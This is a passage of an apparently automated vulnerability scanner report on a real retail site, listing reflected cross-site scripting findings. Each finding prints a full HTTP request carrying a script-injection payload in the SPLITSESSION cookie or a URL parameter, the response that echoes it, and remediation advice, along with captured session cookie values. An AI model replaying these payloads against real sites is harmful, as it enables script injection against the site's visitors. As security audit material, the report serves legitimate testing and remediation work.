GET /shoppingcart/index.cfm?FuseAction=viewcart&CurrentTime=%7Bts%20%272010%2D12%2D26%2006%3A55%3A59%27%7D&requesttimeout=200067a7a"><script>alert(1)</script>17ddeba4e9b HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:15 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:15 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 64284
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1 ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/shoppingcart/index.cfm?FuseAction=viewcart&CurrentTime=%7Bts%20%272010%2D12%2D26%2006%3A55%3A59%27%7D&requesttimeout=200067a7a"><script>alert(1)</script>17ddeba4e9b&quicksignlink=pageend"> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 837d1'%3balert(1)//1c7ecab77cc was submitted in the SPLITSESSION cookie. This input was echoed as 837d1';alert(1)//1c7ecab77cc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C837d1'%3balert(1)//1c7ecab77cc; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:03:57 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:03:57 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 74992
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|837d1';alert(1)//1c7ecab77cc'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload feaa6'%3balert(1)//78f8edd5719 was submitted in the SPLITSESSION cookie. This input was echoed as feaa6';alert(1)//78f8edd5719 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blocks/dsp_non_discountable_brands.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cfeaa6'%3balert(1)//78f8edd5719; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:03:13 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822; expires=Sun, 02-Jan-2011 14:03:13 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Length: 36866
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <script language="javascript"> function redir(site) { window.opener.location.href = site; window.close() } function ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','BECOME01$COUPONID=40959822'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|feaa6';alert(1)//78f8edd5719'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5f39a'%3balert(1)//5bb97bc106 was submitted in the SPLITSESSION cookie. This input was echoed as 5f39a';alert(1)//5bb97bc106 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blocks/dsp_prop65.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C5f39a'%3balert(1)//5bb97bc106; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:02:53 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822PRODUCTID%3D; expires=Sun, 02-Jan-2011 14:02:53 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Length: 5476
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <script language="javascript"> function redir(site) { window.opener.location.href = site; window.close() } function ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','BECOME01$COUPONID=40959822PRODUCTID='); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|5f39a';alert(1)//5bb97bc106'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2404'%3balert(1)//cf7d16e2d7 was submitted in the SPLITSESSION cookie. This input was echoed as c2404';alert(1)//cf7d16e2d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/athalon HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cc2404'%3balert(1)//cf7d16e2d7; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:15:17 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:15:17 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 75088
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|c2404';alert(1)//cf7d16e2d7'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 71225'%3balert(1)//a44107e12fc was submitted in the SPLITSESSION cookie. This input was echoed as 71225';alert(1)//a44107e12fc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/bosca HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C71225'%3balert(1)//a44107e12fc; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:14:39 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:14:39 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 116689
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|71225';alert(1)//a44107e12fc'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97424'%3balert(1)//258024c82f9 was submitted in the SPLITSESSION cookie. This input was echoed as 97424';alert(1)//258024c82f9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/burton HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C97424'%3balert(1)//258024c82f9; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:15:29 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:15:29 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 106114
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|97424';alert(1)//258024c82f9'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ecec4'%3balert(1)//f2ada83a4d7 was submitted in the SPLITSESSION cookie. This input was echoed as ecec4';alert(1)//f2ada83a4d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/eagle-creek HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cecec4'%3balert(1)//f2ada83a4d7; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:14:23 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:14:23 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 123022
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|ecec4';alert(1)//f2ada83a4d7'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e561'%3balert(1)//17f2a82fd26 was submitted in the SPLITSESSION cookie. This input was echoed as 9e561';alert(1)//17f2a82fd26 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/fleurville HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C9e561'%3balert(1)//17f2a82fd26; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:14:59 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:14:59 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 62472
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|9e561';alert(1)//17f2a82fd26'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8276a'%3balert(1)//ef97d0119db was submitted in the SPLITSESSION cookie. This input was echoed as 8276a';alert(1)//ef97d0119db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/hobo-international HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C8276a'%3balert(1)//ef97d0119db; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:14:32 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:14:32 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 52236
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|8276a';alert(1)//ef97d0119db'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e6d1'%3balert(1)//2c88207f059 was submitted in the SPLITSESSION cookie. This input was echoed as 3e6d1';alert(1)//2c88207f059 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
